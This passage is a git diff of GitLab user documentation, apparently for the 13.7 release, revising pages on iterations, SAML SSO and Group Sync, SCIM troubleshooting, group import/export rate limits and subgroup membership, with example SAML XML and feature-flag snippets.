[permissions](../../permissions.md) or higher to create an iteration. To create an iteration: @@ -52,7 +52,7 @@ To create an iteration: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218277) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.2. -NOTE: **Note:** +NOTE: You need Developer [permissions](../../permissions.md) or higher to edit an iteration. To edit an iteration, click the three-dot menu (**{ellipsis_v}**) > **Edit iteration**. @@ -71,17 +71,16 @@ To learn how to add an issue to an iteration, see the steps in You can track the progress of an iteration by reviewing iteration reports. An iteration report displays a list of all the issues assigned to an iteration and their status. +The report also shows a breakdown of total issues in an iteration. +Open iteration reports show a summary of completed, unstarted, and in-progress issues. +Closed iteration reports show the total number of issues completed by the due date. + To view an iteration report, go to the iterations list page and click an iteration's title. ### Iteration burndown and burnup charts > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222750) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.5. -> - It was deployed behind a feature flag, disabled by default. -> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45492) on GitLab 13.6. -> - It's enabled on GitLab.com. -> - It's able to be enabled or disabled per-group. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#disable-iteration-charts). **(STARTER ONLY)** +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/269972) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.7. The iteration report includes [burndown and burnup charts](../../project/milestones/burndown_and_burnup_charts.md), similar to how they appear when viewing a [milestone](../../project/milestones/index.md). @@ -113,30 +112,6 @@ Feature.disable(:group_iterations) Feature.disable(:group_iterations, Group.find(<group ID>)) ``` -## Disable iteration charts **(STARTER ONLY)** - -GitLab iteration charts feature is deployed with a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can disable it for your instance. `:iteration_charts` can be enabled or disabled per-group. - -To enable it: - -```ruby -# Instance-wide -Feature.enable(:iteration_charts) -# or by group -Feature.enable(:iteration_charts, Group.find(<group ID>)) -``` - -To disable it: - -```ruby -# Instance-wide -Feature.disable(:iteration_charts) -# or by group -Feature.disable(:iteration_charts, Group.find(<group ID>)) -``` - <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/user/group/repositories_analytics/index.md b/doc/user/group/repositories_analytics/index.md index fe5e7979592..fc4fb0236de 100644 --- a/doc/user/group/repositories_analytics/index.md +++ b/doc/user/group/repositories_analytics/index.md @@ -2,14 +2,14 @@ type: reference stage: Verify group: Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Repositories Analytics **(PREMIUM)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215104) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4. -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. ## Latest project test coverage list @@ -25,7 +25,9 @@ To see the latest code coverage for each project in your group: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215104) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4. -You can get a CSV of the code coverage data for all of the projects in your group. This report has a maximum of 1000 records. To get the report: +You can get a CSV of the code coverage data for all of the projects in your group. This report has a maximum of 1000 records. The code coverage data is from the default branch in each project. + +To get the report: 1. Go to your group's **Analytics > Repositories** page 1. Click **Download historic test coverage data (.csv)**, @@ -44,6 +46,9 @@ For each day that a coverage report was generated by a job in a project's pipeli If the project's code coverage was calculated more than once in a day, we will take the last value from that day. +NOTE: +[In GitLab 13.7 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/270102), group code coverage data is taken from the configured [default branch](../../project/repository/branches/index.md#default-branch). In earlier versions, it is taken from the `master` branch. + <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/user/group/roadmap/index.md b/doc/user/group/roadmap/index.md index f9d49c1236e..32abc676352 100644 --- a/doc/user/group/roadmap/index.md +++ b/doc/user/group/roadmap/index.md @@ -2,7 +2,7 @@ type: reference stage: Plan group: Product Planning -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Roadmap **(PREMIUM)** diff --git a/doc/user/group/saml_sso/group_managed_accounts.md b/doc/user/group/saml_sso/group_managed_accounts.md index 50f062bafa9..15dd91bece2 100644 --- a/doc/user/group/saml_sso/group_managed_accounts.md +++ b/doc/user/group/saml_sso/group_managed_accounts.md @@ -2,12 +2,12 @@ type: reference, howto stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Group Managed Accounts **(PREMIUM)** -CAUTION: **Caution:** +WARNING: This [Closed Beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#sts=Closed%20Beta) feature is being re-evaluated in favor of a different [identity model](https://gitlab.com/groups/gitlab-org/-/epics/4345) that does not require separate accounts. We recommend that group administrators who haven't yet implemented this feature wait for diff --git a/doc/user/group/saml_sso/img/saml_group_links_nav_v13_6.png b/doc/user/group/saml_sso/img/saml_group_links_nav_v13_6.png Binary files differnew file mode 100644 index 00000000000..c1980b24a6d --- /dev/null +++ b/doc/user/group/saml_sso/img/saml_group_links_nav_v13_6.png diff --git a/doc/user/group/saml_sso/img/saml_group_links_v13_6.png b/doc/user/group/saml_sso/img/saml_group_links_v13_6.png Binary files differnew file mode 100644 index 00000000000..c78b77b8fcf --- /dev/null +++ b/doc/user/group/saml_sso/img/saml_group_links_v13_6.png diff --git a/doc/user/group/saml_sso/index.md b/doc/user/group/saml_sso/index.md index 94d2c9afb24..62431747911 100644 --- a/doc/user/group/saml_sso/index.md +++ b/doc/user/group/saml_sso/index.md @@ -2,7 +2,7 @@ type: reference, howto stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # SAML SSO for GitLab.com groups **(SILVER ONLY)** @@ -38,13 +38,15 @@ GitLab.com uses the SAML NameID to identify users. The NameID element: - Must be unique to each user. - Must be a persistent value that will never change, such as a randomly generated unique user ID. - Is case sensitive. The NameID must match exactly on subsequent login attempts, so should not rely on user input that could change between upper and lower case. -- Should not be an email address or username. We strongly recommend against these as it is hard to guarantee they will never change, for example when a person's name changes. Email addresses are also case-insensitive, which can result in users being unable to sign in. +- Should not be an email address or username. We strongly recommend against these as it's hard to + guarantee it doesn't ever change, for example, when a person's name changes. Email addresses are + also case-insensitive, which can result in users being unable to sign in. The relevant field name and recommended value for supported providers are in the [provider specific notes](#providers). appropriate corresponding field. -CAUTION: **Warning:** -Once users have signed into GitLab using the SSO SAML setup, changing the `NameID` will break the configuration and potentially lock users out of the GitLab group. +WARNING: +Once users have signed into GitLab using the SSO SAML setup, changing the `NameID` breaks the configuration and potentially locks users out of the GitLab group. #### NameID Format @@ -56,11 +58,11 @@ GitLab provides metadata XML that can be used to configure your Identity Provide 1. Navigate to the group and click **Settings > SAML SSO**. 1. Copy the provided **GitLab metadata URL**. -1. Follow your Identity Provider's documentation and paste the metadata URL when it is requested. +1. Follow your Identity Provider's documentation and paste the metadata URL when it's requested. ## Configuring GitLab -Once you've set up your identity provider to work with GitLab, you'll need to configure GitLab to use it for authentication: +After you set up your identity provider to work with GitLab, you must configure GitLab to use it for authentication: 1. Navigate to the group's **Settings > SAML SSO**. 1. Find the SSO URL from your Identity Provider and enter it the **Identity provider single sign-on URL** field. @@ -71,7 +73,7 @@ Once you've set up your identity provider to work with GitLab, you'll need to co  -NOTE: **Note:** +NOTE: Please note that the certificate [fingerprint algorithm](#additional-providers-and-setup-options) must be in SHA1. When configuring the identity provider, use a secure signature algorithm. ### SSO enforcement @@ -79,18 +81,18 @@ Please note that the certificate [fingerprint algorithm](#additional-providers-a - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5291) in GitLab 11.8. - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/9255) in GitLab 11.11 with ongoing enforcement in the GitLab UI. -With this option enabled, users must go through your group's GitLab single sign-on URL. They may also be added via SCIM, if configured. Users cannot be added manually, and may only access project/group resources via the UI by signing in through the SSO URL. +With this option enabled, users must go through your group's GitLab single sign-on URL. They may also be added via SCIM, if configured. Users can't be added manually, and may only access project/group resources via the UI by signing in through the SSO URL. -However, users will not be prompted to sign in through SSO on each visit. GitLab will check whether a user has authenticated through SSO, and will only prompt the user to sign in via SSO if the session has expired. +However, users are not prompted to sign in through SSO on each visit. GitLab checks whether a user has authenticated through SSO, and only prompts the user to sign in via SSO if the session has expired. You can see more information about how long a session is valid in our [user profile documentation](../../profile/#why-do-i-keep-getting-signed-out). We intend to add a similar SSO requirement for [Git and API activity](https://gitlab.com/gitlab-org/gitlab/-/issues/9152). -When SSO enforcement is enabled for a group, users cannot share a project in the group outside the top-level group, even if the project is forked. +When SSO enforcement is enabled for a group, users can't share a project in the group outside the top-level group, even if the project is forked. ## Providers -NOTE: **Note:** +NOTE: GitLab is unable to provide support for IdPs that are not listed here. | Provider | Documentation | @@ -190,31 +192,77 @@ If the information you need isn't listed above you may wish to check our [troubl ## User access and management +> [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/268142) in GitLab 13.7. + Once Group SSO is configured and enabled, users can access the GitLab.com group through the identity provider's dashboard. If [SCIM](scim_setup.md) is configured, please see the [user access and linking setup section on the SCIM page](scim_setup.md#user-access-and-linking-setup). -When a user tries to sign in with Group SSO, they will need an account that's configured with one of the following: +When a user tries to sign in with Group SSO, GitLab attempts to find or create a user based on the following: -- [SCIM](scim_setup.md). -- [Group-managed accounts](group_managed_accounts.md). -- A GitLab.com account. +- Find an existing user with a matching SAML identity. This would mean the user either had their account created by [SCIM](scim_setup.md) or they have previously signed in with the group's SAML IdP. +- If there is no conflicting user with the same email address, create a new account automatically. +- If there is a conflicting user with the same email address, redirect the user to the sign-in page to: + - Create a new account with another email address. + - Sign-in to their existing account to link the SAML identity. ### Linking SAML to your existing GitLab.com account To link SAML to your existing GitLab.com account: 1. Sign in to your GitLab.com account. -1. Locate and visit the **GitLab single sign-on URL** for the group you are signing in to. A group Admin can find this on the group's **Settings > SAML SSO** page. If the sign-in URL is configured, users can connect to the GitLab app from the Identity Provider. +1. Locate and visit the **GitLab single sign-on URL** for the group you're signing in to. A group Admin can find this on the group's **Settings > SAML SSO** page. If the sign-in URL is configured, users can connect to the GitLab app from the Identity Provider. 1. Click **Authorize**. 1. Enter your credentials on the Identity Provider if prompted. -1. You will be redirected back to GitLab.com and should now have access to the group. In the future, you can use SAML to sign in to GitLab.com. +1. You are then redirected back to GitLab.com and should now have access to the group. In the future, you can use SAML to sign in to GitLab.com. -On subsequent visits, you should be able to go [sign in to GitLab.com with SAML](#signing-in-to-gitlabcom-with-saml) or by visiting links directly. If the **enforce SSO** option is turned on, you will be redirected to sign in through the identity provider. +On subsequent visits, you should be able to go [sign in to GitLab.com with SAML](#signing-in-to-gitlabcom-with-saml) or by visiting links directly. If the **enforce SSO** option is turned on, you are then redirected to sign in through the identity provider. ### Signing in to GitLab.com with SAML 1. Sign in to your identity provider. 1. From the list of apps, click on the "GitLab.com" app (The name is set by the administrator of the identity provider). -1. You will be signed in to GitLab.com and redirected to the group. +1. You are then signed in to GitLab.com and redirected to the group. + +### Configure user settings from SAML response + +[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/263661) in GitLab 13.7. + +GitLab allows setting certain user attributes based on values from the SAML response. +This affects users created on first sign-in via Group SAML. Existing users' +attributes are not affected regardless of the values sent in the SAML response. + +#### Supported user attributes + +- `can_create_group` - 'true' or 'false' to indicate whether the user can create + new groups. Default is `true`. +- `projects_limit` - The total number of personal projects a user can create. + A value of `0` means the user cannot create new projects in their personal + namespace. Default is `10000`. + +#### Example SAML response + +You can find SAML responses in the developer tools or console of your browser, +in base64-encoded format. Use the base64 decoding tool of your choice to +convert the information to XML. An example SAML response is shown here. + +```xml + <saml2:AttributeStatement> + <saml2:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> + <saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">user.email</saml2:AttributeValue> + </saml2:Attribute> + <saml2:Attribute Name="first_name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> + <saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">user.firstName</saml2:AttributeValue> + </saml2:Attribute> + <saml2:Attribute Name="last_name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> + <saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">user.lastName</saml2:AttributeValue> + </saml2:Attribute> + <saml2:Attribute Name="can_create_group" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> + <saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">true</saml2:AttributeValue> + </saml2:Attribute> + <saml2:Attribute Name="projects_limit" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> + <saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">10</saml2:AttributeValue> + </saml2:Attribute> + </saml2:AttributeStatement> +``` ### Role @@ -238,10 +286,53 @@ Users can unlink SAML for a group from their profile page. This can be helpful i - You no longer want a group to be able to sign you in to GitLab.com. - Your SAML NameID has changed and so GitLab can no longer find your user. -For example, to unlink the `MyOrg` account, the following **Disconnect** button will be available under **Profile > Accounts**: +WARNING: +Unlinking an account removes all roles assigned to that user within the group. +If a user relinks their account, roles need to be reassigned. + +For example, to unlink the `MyOrg` account, the following **Disconnect** button is available under **Profile > Accounts**:  +## Group Sync + +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +For a demo of Group Sync using Azure, see [Demo: SAML Group Sync](https://youtu.be/Iqvo2tJfXjg). + +When the SAML response includes a user and their group memberships from the SAML identity provider, +GitLab uses that information to automatically manage that user's GitLab group memberships. + +Ensure your SAML identity provider sends an attribute statement named `Groups` or `groups` like the following: + +```xml +<saml:AttributeStatement> + <saml:Attribute Name="Groups"> + <saml:AttributeValue xsi:type="xs:string">Developers</saml:AttributeValue> + <saml:AttributeValue xsi:type="xs:string">Product Managers</saml:AttributeValue> + </saml:Attribute> +</saml:AttributeStatement> +``` + +When SAML SSO is enabled for the top-level group, `Maintainer` and `Owner` level users +see a new menu item in group **Settings -> SAML Group Links**. Each group (parent or subgroup) can specify +one or more group links to map a SAML identity provider group name to a GitLab access level. + + + +To link the SAML `Freelancers` group in the attribute statement example above: + +1. Enter `Freelancers` in the `SAML Group Name` field. +1. Choose the desired `Access Level`. +1. **Save** the group link. +1. Repeat to add additional group links if desired. + + + +If a user is a member of multiple SAML groups mapped to the same GitLab group, +the user gets the highest access level from the groups. For example, if one group +is linked as `Guest` and another `Maintainer`, a user in both groups gets `Maintainer` +access. + ## Glossary | Term | Description | @@ -250,7 +341,7 @@ For example, to unlink the `MyOrg` account, the following **Disconnect** button | Service Provider | SAML considers GitLab to be a service provider. | | Assertion | A piece of information about a user's identity, such as their name or role. Also know as claims or attributes. | | SSO | Single Sign On. | -| Assertion consumer service URL | The callback on GitLab where users will be redirected after successfully authenticating with the identity provider. | +| Assertion consumer service URL | The callback on GitLab where users are redirected after successfully authenticating with the identity provider. | | Issuer | How GitLab identifies itself to the identity provider. Also known as a "Relying party trust identifier". | | Certificate fingerprint | Used to confirm that communications over SAML are secure by checking that the server is signing communications with the correct certificate. Also known as a certificate thumbprint. | diff --git a/doc/user/group/saml_sso/scim_setup.md b/doc/user/group/saml_sso/scim_setup.md index 7c089a289c6..40c036e1fc0 100644 --- a/doc/user/group/saml_sso/scim_setup.md +++ b/doc/user/group/saml_sso/scim_setup.md @@ -2,7 +2,7 @@ type: howto, reference stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # SCIM provisioning using SAML SSO for GitLab.com groups **(SILVER ONLY)** @@ -13,7 +13,7 @@ System for Cross-domain Identity Management (SCIM), is an open standard that ena automation of user provisioning. When SCIM is provisioned for a GitLab group, membership of that group is synchronized between GitLab and the identity provider. -GitLab's [SCIM API](../../../api/scim.md) implements part of [the RFC7644 protocol](https://tools.ietf.org/html/rfc7644). +The GitLab [SCIM API](../../../api/scim.md) implements part of [the RFC7644 protocol](https://tools.ietf.org/html/rfc7644). ## Features @@ -92,14 +92,14 @@ You can then test the connection by clicking on **Test Connection**. If the conn 1. Save your changes. For reference, you can view [an example configuration in the troubleshooting reference](../../../administration/troubleshooting/group_saml_scim.md#azure-active-directory). - NOTE: **Note:** + NOTE: If you used a unique identifier **other than** `objectId`, be sure to map it to `externalId`. 1. Below the mapping list click on **Show advanced options > Edit attribute list for AppName**. 1. Ensure the `id` is the primary and required field, and `externalId` is also required. - NOTE: **Note:** + NOTE: `username` should neither be primary nor required as we don't support that field on GitLab SCIM yet. @@ -108,15 +108,15 @@ You can then test the connection by clicking on **Test Connection**. If the conn  - NOTE: **Note:** + NOTE: You can control what is actually synced by selecting the `Scope`. For example, `Sync only assigned users and groups` only syncs the users assigned to the application (`Users and groups`), otherwise, it syncs the whole Active Directory. Once enabled, the synchronization details and any errors appears on the -bottom of the **Provisioning** screen, together with a link to the audit logs. +bottom of the **Provisioning** screen, together with a link to the audit events. -CAUTION: **Warning:** +WARNING: Once synchronized, changing the field mapped to `id` and `externalId` may cause a number of errors. These include provisioning errors, duplicate users, and may prevent existing users from accessing the GitLab group. ### Okta configuration steps @@ -132,7 +132,7 @@ configuration. Otherwise, the Okta SCIM app may not work properly. 1. If you see an **Admin** button in the top right, click the button. This will ensure you are in the Admin area. - TIP: **Tip:** + NOTE: If you're using the Developer Console, click **Developer Console** in the top bar and select **Classic UI**. Otherwise, you may not see the buttons described in the following steps: @@ -194,7 +194,7 @@ provider or users list for the specific app. Upon the next sync, the user is deprovisioned, which means that the user is removed from the group. -NOTE: **Note:** +NOTE: Deprovisioning does not delete the user account. ```mermaid @@ -240,7 +240,7 @@ To see how the `external_uid` compares to the value returned as the SAML NameId, Whether the value was changed or you need to map to a different field, ensure `id`, `externalId`, and `NameId` all map to the same field. -If GitLab's `externalId` doesn't match the SAML NameId, it will need to be updated in order for the user to log in. Ideally your identity provider will be configured to do such an update, but in some cases it may be unable to do so, such as when looking up a user fails due to an ID change. +If the GitLab `externalId` doesn't match the SAML NameId, it needs to be updated in order for the user to sign in. Ideally your identity provider is configured to do such an update, but in some cases it may be unable to do so, such as when looking up a user fails due to an ID change. Be cautious if you revise the fields used by your SCIM identity provider, typically `id` and `externalId`. We use these IDs to look up users. If the identity provider does not know the current values for these fields, @@ -262,6 +262,15 @@ Individual users can follow the instructions in the ["SAML authentication failed Alternatively, users can be removed from the SCIM app which will delink all removed users. Sync can then be turned on for the new SCIM app to [link existing users](#user-access-and-linking-setup). +### The SCIM app is throwing `"User has already been taken","status":409` error message + +Changing the SAML or SCIM configuration or provider can cause the following problems: + +| Problem | Solution | +|------------------------------------------------------------------------------|--------------------| +| SAML and SCIM identity mismatch. | First [verify that the user's SAML NameId matches the SCIM externalId](#how-do-i-verify-users-saml-nameid-matches-the-scim-externalid) and then [update or fix the mismatched SCIM externalId and SAML NameId](#update-or-fix-mismatched-scim-externalid-and-saml-nameid). | +| SCIM identity mismatch between GitLab and the Identify Provider SCIM app. | You can confirm whether you're hitting the error because of your SCIM identity mismatch between your SCIM app and GitLab.com by using [SCIM API](../../../api/scim.md#update-a-single-saml-user) which shows up in the `id` key and compares it with the user `externalId` in the SCIM app. You can use the same [SCIM API](../../../api/scim.md#update-a-single-saml-user) to update the SCIM `id` for the user on GitLab.com. | + ### Azure #### How do I verify my SCIM configuration is correct? @@ -283,7 +292,7 @@ When testing the connection, you may encounter an error: **You appear to have en #### (Field) can't be blank sync error -When checking the Audit Logs for the Provisioning, you can sometimes see the +When checking the Audit Events for the Provisioning, you can sometimes see the error `Namespace can't be blank, Name can't be blank, and User can't be blank.` This is likely caused because not all required fields (such as first name and last name) are present for all users being mapped. diff --git a/doc/user/group/security_dashboard/index.md b/doc/user/group/security_dashboard/index.md index c59198df081..3feccf2e342 100644 --- a/doc/user/group/security_dashboard/index.md +++ b/doc/user/group/security_dashboard/index.md @@ -3,3 +3,6 @@ redirect_to: '../../application_security/security_dashboard/index.md' --- This document was moved to [another location](../../application_security/security_dashboard/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/group/settings/import_export.md b/doc/user/group/settings/import_export.md index 77cb862a49d..2aee8706194 100644 --- a/doc/user/group/settings/import_export.md +++ b/doc/user/group/settings/import_export.md @@ -2,7 +2,7 @@ type: reference stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Group Import/Export @@ -55,7 +55,7 @@ The following items are **not** exported: - Runner tokens - SAML discovery tokens -NOTE: **Note:** +NOTE: For more details on the specific data persisted in a group export, see the [`import_export.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/import_export/group/import_export.yml) file. @@ -75,7 +75,7 @@ For more details on the specific data persisted in a group export, see the 1. Alternatively, you can come back to the project settings and download the file from there by clicking **Download export**, or generate a new file by clicking **Regenerate export**. -NOTE: **Note:** +NOTE: The maximum import file size can be set by the Administrator, default is 50MB. As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](../../../api/settings.md#change-application-settings) or the [Admin UI](../../admin_area/settings/account_and_limit_settings.md). @@ -121,10 +121,12 @@ For example: ## Rate Limits -To help avoid abuse, users are rate limited to: +To help avoid abuse, by default, users are rate limited to: | Request Type | Limit | | ---------------- | ---------------------------------------- | -| Export | 30 groups every 5 minutes | -| Download export | 10 downloads per group every 10 minutes | -| Import | 30 groups every 5 minutes | +| Export | 6 groups per minute | +| Download export | 1 download per group per minute | +| Import | 6 groups per minute | + +Please note that GitLab.com may have [different settings](../../gitlab_com/index.md#importexport) from the defaults. diff --git a/doc/user/group/subgroups/img/group_members.png b/doc/user/group/subgroups/img/group_members.png Binary files differdeleted file mode 100644 index 830ccafa794..00000000000 --- a/doc/user/group/subgroups/img/group_members.png +++ /dev/null diff --git a/doc/user/group/subgroups/img/group_members_13_7.png b/doc/user/group/subgroups/img/group_members_13_7.png Binary files differnew file mode 100644 index 00000000000..ab22bcb932c --- /dev/null +++ b/doc/user/group/subgroups/img/group_members_13_7.png diff --git a/doc/user/group/subgroups/index.md b/doc/user/group/subgroups/index.md index 268014a3cd2..8af075fc0c0 100644 --- a/doc/user/group/subgroups/index.md +++ b/doc/user/group/subgroups/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto, concepts --- @@ -109,16 +109,16 @@ To create a subgroup:  -1. Click the **Create group** button and you will be taken to the new group's +1. Click the **Create group** button to be redirected to the new group's dashboard page. Follow the same process to create any subsequent groups. ## Membership -When you add a member to a subgroup, they inherit the membership and permission -level from the parent group(s). This model allows access to nested groups if you -have membership in one of its parents. +When you add a member to a group, that member is also added to all subgroups. +Permission level is inherited from the group’s parent. This model allows access to +subgroups if you have membership in one of its parents. Jobs for pipelines in subgroups can use [runners](../../../ci/runners/README.md) registered to the parent group(s). This means secrets configured for the parent group are available to subgroup jobs. @@ -131,49 +131,41 @@ the **Members** page of the group the member was added. You can tell if a member has inherited the permissions from a parent group by looking at the group's **Members** page. - + From the image above, we can deduce the following things: - There are 5 members that have access to the group `four`. -- User0 is a Reporter and has inherited their permissions from group `one` +- User 0 is a Reporter and has inherited their permissions from group `one` which is above the hierarchy of group `four`. -- User1 is a Developer and has inherited their permissions from group +- User 1 is a Developer and has inherited their permissions from group `one/two` which is above the hierarchy of group `four`. -- User2 is a Developer and has inherited their permissions from group +- User 2 is a Developer and has inherited their permissions from group `one/two/three` which is above the hierarchy of group `four`. -- For User3 there is no indication of a parent group, therefore they belong to +- For User 3 the **Source** column indicates **Direct member**, therefore they belong to group `four`, the one we're inspecting. - Administrator is the Owner and member of **all** subgroups and for that reason, - as with User3, there is no indication of an ancestor group. + as with User 3, the **Source** column indicates **Direct member**. -[From](https://gitlab.com/gitlab-org/gitlab/-/issues/21727) GitLab 12.6, you can filter -this list using dropdown on the right side: - - - -- **Show only direct members** displays only Administrator and User3, since these are - the only users that belong to group `four`, which is the one we're inspecting. -- **Show only inherited members** displays User0, User1 and User2, no matter which group - above the hierarchy is the source of inherited permissions. +Members can be [filtered by inherited or direct membership](../index.md#membership-filter). ### Overriding the ancestor group membership -NOTE: **Note:** +NOTE: You must be an Owner of a group to be able to add members to it. -NOTE: **Note:** +NOTE: A user's permissions in a subgroup cannot be lower than in any of its ancestor groups. Therefore, you cannot reduce a user's permissions in a subgroup with respect to its ancestor groups. To override a user's membership of an ancestor group (the first group they were added to), add the user to the new subgroup again with a higher set of permissions. -For example, if User0 was first added to group `group-1/group-1-1` with Developer -permissions, then they will inherit those permissions in every other subgroup -of `group-1/group-1-1`. To give them Maintainer access to `group-1/group-1-1/group1-1-1`, +For example, if User 1 was first added to group `one/two` with Developer +permissions, then they inherit those permissions in every other subgroup +of `one/two`. To give them Maintainer access to group `one/two/three/four`, you would add them again in that group as Maintainer. Removing them from that group, -the permissions will fallback to those of the ancestor group. +the permissions fall back to those of the ancestor group. ## Mentioning subgroups diff --git a/doc/user/analytics/img/delete_value_stream_v13.4.png b/doc/user/group/value_stream_analytics/img/delete_value_stream_v13.4.png Binary files differindex c97fcb76343..c97fcb76343 100644 --- a/doc/user/analytics/img/delete_value_stream_v13.4.png +++ b/doc/user/group/value_stream_analytics/img/delete_value_stream_v13.4.png diff --git a/doc/user/analytics/img/label_based_stage_vsm_v12_9.png b/doc/user/group/value_stream_analytics/img/label_based_stage_vsm_v12_9.png Binary files differindex 84ce33aece5..84ce33aece5 100644 --- a/doc/user/analytics/img/label_based_stage_vsm_v12_9.png +++ b/doc/user/group/value_stream_analytics/img/label_based_stage_vsm_v12_9.png diff --git a/doc/user/analytics/img/new_value_stream_v13_3.png b/doc/user/group/value_stream_analytics/img/new_value_stream_v13_3.png Binary files differindex bc8502e85a6..bc8502e85a6 100644 --- a/doc/user/analytics/img/new_value_stream_v13_3.png +++ b/doc/user/group/value_stream_analytics/img/new_value_stream_v13_3.png diff --git a/doc/user/analytics/img/new_vsm_stage_v12_9.png b/doc/user/group/value_stream_analytics/img/new_vsm_stage_v12_9.png Binary files differindex dbef25d33ed..dbef25d33ed 100644 --- a/doc/user/analytics/img/new_vsm_stage_v12_9.png +++ b/doc/user/group/value_stream_analytics/img/new_vsm_stage_v12_9.png diff --git a/doc/user/analytics/img/vsa_filter_bar_v13.3.png b/doc/user/group/value_stream_analytics/img/vsa_filter_bar_v13.3.png Binary files differindex 506765f63cb..506765f63cb 100644 --- a/doc/user/analytics/img/vsa_filter_bar_v13.3.png +++ b/doc/user/group/value_stream_analytics/img/vsa_filter_bar_v13.3.png diff --git a/doc/user/analytics/img/vsa_time_metrics_v13_0.png b/doc/user/group/value_stream_analytics/img/vsa_time_metrics_v13_0.png Binary files differindex 799a81584a0..799a81584a0 100644 --- a/doc/user/analytics/img/vsa_time_metrics_v13_0.png +++ b/doc/user/group/value_stream_analytics/img/vsa_time_metrics_v13_0.png diff --git a/doc/user/analytics/img/vsm_stage_list_v12_9.png b/doc/user/group/value_stream_analytics/img/vsm_stage_list_v12_9.png Binary files differindex 3b50dd48543..3b50dd48543 100644 --- a/doc/user/analytics/img/vsm_stage_list_v12_9.png +++ b/doc/user/group/value_stream_analytics/img/vsm_stage_list_v12_9.png diff --git a/doc/user/group/value_stream_analytics/index.md b/doc/user/group/value_stream_analytics/index.md new file mode 100644 index 00000000000..0f9afdef995 --- /dev/null +++ b/doc/user/group/value_stream_analytics/index.md @@ -0,0 +1,375 @@ +--- +type: reference +stage: Manage +group: Optimize +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Value Stream Analytics **(PREMIUM)** + +> - 